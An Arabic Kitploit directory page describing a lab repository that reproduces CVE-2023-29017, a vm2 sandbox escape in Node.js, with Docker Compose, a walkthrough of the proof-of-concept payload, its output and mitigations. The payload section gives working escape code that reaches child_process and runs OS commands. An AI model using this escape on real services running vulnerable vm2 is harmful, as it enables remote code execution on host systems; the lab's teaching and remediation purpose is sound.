Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Node_CVE-2023-29017 — إعادة إنتاج ثغرة CVE-2023-29017 في Node.js vm2 باستخدام Docker Compose وPoC | Kitploit
أدوات/GitHubGitHub/gunwoo105/node_cve-2023-29017
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

إعادة إنتاج ثغرة CVE-2023-29017 في Node.js vm2 باستخدام Docker Compose وPoC

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-29017 | تنفيذ التعليمات البرمجية عن بعد عبر هروب صندوق الحماية vm2

[WHS الدفعة 4، الفصل 31] - كيم جونوو(@gunwoo105)

ملخص الثغرة

vm2 هي مكتبة صندوق حماية Node.js لتنفيذ JavaScript غير الموثوق به في بيئة مقيدة. في الظروف العادية، يجب ألا يتمكن الكود داخل صندوق الحماية من الوصول إلى وظائف حساسة مثل process, require, child_process ونظام ملفات المضيف.

ومع ذلك، في vm2 3.9.14 والإصدارات الأقدم، يفشل في معالجة كائن المضيف الذي يتم تمريره إلى Error.prepareStackTrace عند حدوث خطأ غير معالج غير متزامن. يمكن للمهاجم استغلال سلسلة المنشئين (constructor chain) لهذا الكائن للحصول على مُنشئ Function وكائن process في سياق المضيف، وفي النهاية تنفيذ أوامر نظام التشغيل عبر child_process.

تكوين البيئة

المكونات

بدلاً من استخدام صورة كاملة مع الثغرة، نقوم ببناء الصورة مباشرة من صورة Node.js الرسمية والشفرة المصدرية المضمنة في المستودع. في Dockerfile، يتم التحقق من إصدارات Node.js و vm2، وإذا كانت الإصدارات مختلفة عن المتوقع، يفشل البناء.

root@kitploit:~
RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"

سبب تشغيل worker.js كعملية منفصلة هو أن PoC يتسبب في حدوث خطأ غير معالج غير متزامن. حتى إذا تم إنهاء العامل (worker) أثناء الهجوم، فإن خادم الويب يستمر في العمل، ويمكن التحقق من النجاح بشكل موثوق باستخدام ملف العلامة (marker).

شروط الثغرة

يجب استيفاء جميع الشروط التالية:

  1. يستخدم التطبيق vm2 3.9.14 أو أقل.
  2. يمكن للمهاجم التحكم في إدخال JavaScript الذي سيتم تنفيذه.
  3. يتم تنفيذ هذا JavaScript داخل vm2.
  4. يُسمح بتنفيذ JavaScript غير المتزامن.
  5. يصل خطأ غير معالج غير متزامن إلى مسار معالجة تتبع المكدس (stack trace) الضعيف.
  6. تمتلك عملية Node.js التي تشغل vm2 صلاحية تنفيذ أوامر نظام التشغيل أو الوصول إلى الملفات.

ليست جميع الخدمات التي تم تثبيت vm2 فيها معرضة تلقائيًا لهجوم عن بُعد. يجب أن تكون هناك وظيفة لتنفيذ الكود الذي يتحكم به المهاجم داخل vm2. نقطة النهاية /execute في هذا التمرين تمثل حالة الاستخدام هذه بشكل بسيط.

تدفق الهجوم كما يلي:

root@kitploit:~
إرسال JavaScript ضار
        │
        ▼
حدوث خطأ غير معالج غير متزامن
        │
        ▼
استدعاء Error.prepareStackTrace
        │
        ▼
تعريض كائن frames الخاص بالمضيف
        │
        ▼
الحصول على مُنشئ Function الخاص بالمضيف
        │
        ▼
process → require → child_process
        │
        ▼
تنفيذ أوامر نظام التشغيل داخل الحاوية

إجراءات الإعادة

بناء الصورة

root@kitploit:~
docker compose build --no-cache

نجاح بناء الصورة

تشغيل خدمة الثغرة

root@kitploit:~
docker compose up -d vulnerable

تحقق من حالة الحاوية.

root@kitploit:~
docker compose ps

التحقق من حالة الخدمة والإصدار

root@kitploit:~
curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

التحقق من حالة الخدمة والإصدار

تشغيل PoC

root@kitploit:~
docker compose run --rm poc
echo "exit_code=$?"

يتحقق PoC تلقائيًا من العناصر التالية:

  1. فحص صحة خدمة الثغرة (healthcheck)
  2. إصدارات Node.js و vm2
  3. تنفيذ JavaScript عادي: 21 * 2
  4. التحقق من عدم إنشاء ملف العلامة (marker) مع الكود العادي
  5. إرسال حمولة CVE-2023-29017
  6. التحقق من وجود /tmp/vm2-pwned
  7. التحقق من احتواء محتوى الملف على uid=
  8. إرجاع رمز الخروج 0 عند النجاح، و1 عند الفشل

لتشغيل كل شيء من البناء إلى PoC مرة واحدة، استخدم الأمر التالي:

root@kitploit:~
docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

التحقق من ملف الدليل

root@kitploit:~
docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

إنهاء البيئة

root@kitploit:~
docker compose down -v --rmi local --remove-orphans

5. كود PoC

يحتوي PoC الكامل في poc/poc.js. الحمولة الأساسية هي كما يلي:

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

شرح الكود

إعادة تعريف Error.prepareStackTrace

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {

يعيد المهاجم تعريف الدالة التي يتم تنفيذها عند إنشاء تتبع المكدس (stack trace) للخطأ.

الحصول على مُنشئ Function الخاص بالمضيف

root@kitploit:~
frames.constructor.constructor

يتتبع سلسلة المنشئين لكائن frames الخاص بالمضيف الذي كشفه vm2 الضعيف، للوصول إلى مُنشئ Function في سياق المضيف.

الحصول على كائن process الخاص بالمضيف

root@kitploit:~
frames.constructor.constructor('return process')();

ينشئ وينفذ دالة تعيد process من سياق المضيف.

تنفيذ أمر نظام التشغيل

root@kitploit:~
hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

يقوم بتحميل child_process غير المتاح داخل صندوق الحماية وتنفيذ أمر Linux id.

إحداث خطأ غير معالج غير متزامن

root@kitploit:~
(async () => {}).constructor('return process')();

يجعل الدالة غير المتزامنة تشير إلى process غير المتاح في صندوق الحماية، مما يؤدي إلى إنشاء وعد مرفوض (rejected Promise) والوصول إلى مسار معالجة تتبع المكدس الضعيف.

نتائج التنفيذ

التحكم الطبيعي

يقوم JavaScript العادي بالتنفيذ داخل vm2 ويعيد 42، لكنه لا ينشئ دليلاً على تنفيذ أمر نظام التشغيل.

root@kitploit:~
[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

استغلال الثغرة

عند إرسال الحمولة الضارة، يتم الهروب من صندوق الحماية vm2 وتنفيذ أمر id داخل الحاوية بصلاحيات عملية Node.js الضعيفة.

root@kitploit:~
[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

يتحقق PoC من الدليل المحفوظ ثم يعيد حالة النجاح.

root@kitploit:~
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

نجاح تشغيل PoC

عند التحقق من ملف الدليل مباشرة، تظهر النتائج التالية:

التحقق من دليل العلامة

يتم حذف ملف العلامة قبل كل تنفيذ، ولا يتم إنشاؤه أثناء مرحلة تنفيذ الكود العادي. وبالتالي يمنع النتائج الإيجابية الخاطئة الناتجة عن بقاء نتائج التنفيذ السابق.

إجراءات التصدي

تحديث vm2

قم بالتحديث إلى إصدار غير متأثر.

root@kitploit:~
{
  "dependencies": {
    "vm2": "3.9.15"
  }
}

بعد ذلك، قم بتحديث ملف القفل (lockfile) وتثبيت التبعيات المثبتة.

root@kitploit:~
npm install --package-lock-only
npm ci

نظرًا لأن الإعلان الرسمي (Advisory) يوضح عدم وجود حل بديل (workaround)، فإن الاستمرار في استخدام الإصدار الضعيف غير موصى به.

عزل بيئة تنفيذ الكود غير الموثوق به

لا تقم بتنفيذ الكود غير الموثوق به في نفس عملية Node.js للتطبيق. اعزله في عملية منفصلة، أو حاوية، أو جهاز افتراضي، وتخلص من البيئة بعد الانتهاء من التنفيذ.

تطبيق أقل الامتيازات

  • التشغيل كمستخدم مخصص وليس root
  • تطبيق no-new-privileges
  • إزالة قدرات Linux غير الضرورية
  • منع تحميل مقبس Docker (socket) وأدلة المضيف
  • مراجعة إعداد نظام الملفات للقراءة فقط (read-only)
  • منع تخزين بيانات الاعتماد طويلة الأمد داخل الحاوية

تقييد الشبكة والموارد

  • تقييد الوصول إلى الشبكة الخارجية للحاوية المنفذة
  • تقليل الوصول إلى الشبكة الإدارية الداخلية وقواعد البيانات
  • تقييد وحدة المعالجة المركزية (CPU)، الذاكرة (memory)، عدد العمليات، ووقت التنفيذ
  • تقييد حجم الإدخال وتكرار الطلبات
  • مراقبة الإنهاء غير الطبيعي والإدخالات الضارة المتكررة

التحكم في المصادقة والإدخال

طبق مصادقة وتفويض قويين على وظيفة تنفيذ الكود، ولا تقم بتشغيل واجهة برمجة تطبيقات (API) لتنفيذ كود عشوائي مفتوح لمستخدمين غير محددين. ومع ذلك، فإن المصادقة هي إجراء مساعد لتقليل سطح الهجوم، وليست بديلاً عن إصلاح الثغرة نفسها.

تنزيل الأداة
المكونالإصدار والإعداد
Node.js18.15.0
vm23.9.14
إصدار التصحيح3.9.15
بيئة التشغيلDocker Compose
مستخدم الحاويةnode
منفذ الخدمة127.0.0.1:3000
تثبيت الحزمnpm ci + package-lock.json
الملفالوظيفة
docker-compose.ymlتعريف تكوين خدمة الثغرة وحاوية PoC وترتيب التنفيذ
Dockerfileبناء صور خدمة الثغرة و PoC بطريقة متعددة المراحل
vulnerable/src/server.jsتوفير نقاط النهاية /health, /execute, /evidence
vulnerable/src/worker.jsتنفيذ إدخال المستخدم في vm2 في عملية منفصلة
poc/poc.jsأتمتة التحقق من الإصدار، التحكم الطبيعي، الهجوم وتأكيد الدليل
vulnerable/package-lock.jsonتثبيت إصدارات الحزم بما في ذلك التبعيات الانتقالية